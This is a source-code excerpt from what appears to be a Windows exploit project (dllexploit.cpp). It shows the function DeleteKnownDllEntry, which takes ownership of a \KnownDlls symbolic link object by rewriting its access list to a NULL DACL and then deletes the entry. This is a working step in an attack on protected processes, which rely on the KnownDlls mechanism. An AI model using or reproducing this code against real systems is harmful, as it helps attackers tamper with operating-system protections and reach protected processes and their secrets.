BOOL DeleteKnownDllEntry()

in PPLGuardDll/dllexploit.cpp [192:325]


BOOL DeleteKnownDllEntry(LPCWSTR pwszDllName)
{
    BOOL bReturnValue = FALSE;

    NTSTATUS status = 0;
    HANDLE hLink = NULL;
    LPWSTR pwszLinkPath = NULL;
    UNICODE_STRING name = { 0 };
    OBJECT_ATTRIBUTES oa = { 0 };

    SECURITY_DESCRIPTOR sd = { 0 };
    SECURITY_ATTRIBUTES sa = { 0 };

    //
    // Build the path of the symbolic link object to delete. The name of the DLL can be determined
    // at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as 
    // '\KnownDlls\DPAPI.dll'.
    //
    pwszLinkPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
    if (!pwszLinkPath)
        goto end;

    StringCchPrintf(pwszLinkPath, MAX_PATH, L"\\KnownDlls\\%ws", pwszDllName);

    if (g_bDebug)
        LogToConsole(L"Object to delete: %ws\n", pwszLinkPath);

    RtlInitUnicodeString(&name, pwszLinkPath);
    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

    //
    // Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete
    // the link. Unfortunately, the inherited ACL does not grant us this right and we will thus 
    // get an "Access denied" error. What we can do though is open the symbolic link object with
    // WRITE_DAC access in order to change the ACL of the object.
    //
    status = NtOpenSymbolicLinkObject(&hLink, WRITE_DAC, &oa);
    SetLastError(RtlNtStatusToDosError(status));
    if (status != 0)
    {
        LogLastError(L"NtOpenSymbolicLinkObject");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"NtOpenSymbolicLinkObject('%ws', WRITE_DAC) OK\n", pwszLinkPath);

    //
    // Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone
    // access to the object but that's not really an issue because we'll delete it right after.
    //
    InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
#pragma warning( suppress : 6248 ) // Disable warning as setting a NULL DACL is intentional here
    if (!SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE))
    {
        LogLastError(L"SetSecurityDescriptorDacl");
    }

    sa.nLength = sizeof(sa);
    sa.bInheritHandle = FALSE;
    sa.lpSecurityDescriptor = &sd;

    //
    // Apply the new Security Descriptor.
    //
    if (!SetKernelObjectSecurity(hLink, DACL_SECURITY_INFORMATION, &sd))
    {
        LogLastError(L"SetKernelObjectSecurity");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"SetKernelObjectSecurity OK\n");

    //
    // At this point we can close the object handle because only the WRITE_DAC right is associated
    // to it. This handle will not allow us to delete the object.
    //
    status = NtClose(hLink);
    SetLastError(RtlNtStatusToDosError(status));
    if (status != 0)
    {
        LogLastError(L"NtClose");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"NtClose OK\n");

    //
    // This time, we should be able to open the link object with DELETE access.
    //
    status = NtOpenSymbolicLinkObject(&hLink, DELETE, &oa);
    SetLastError(RtlNtStatusToDosError(status));
    if (status != 0)
    {
        LogLastError(L"NtOpenSymbolicLinkObject");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"NtOpenSymbolicLinkObject('%ws', DELETE) OK\n", pwszLinkPath);

    //
    // Now, we can invoke NtMakeTemporaryObject to disable the "Permanent" flag of the object. When
    // an object does not have the "Permanent" flag enabled, it is automatically deleted when all 
    // its handles are closed.
    //
    status = NtMakeTemporaryObject(hLink);
    SetLastError(RtlNtStatusToDosError(status));
    if (status != 0)
    {
        LogLastError(L"NtMakeTemporaryObject");
        goto end;
    }

    if (g_bDebug)
        LogToConsole(L"NtMakeTemporaryObject OK\n");

    bReturnValue = status == STATUS_SUCCESS;

    //
    // We should be the only process to have an opened handle on this object. So, if we close it, 
    // the link should be automatically deleted.
    //

end:
    if (hLink)
        NtClose(hLink);
    if (pwszLinkPath)
        LocalFree(pwszLinkPath);

    return bReturnValue;
}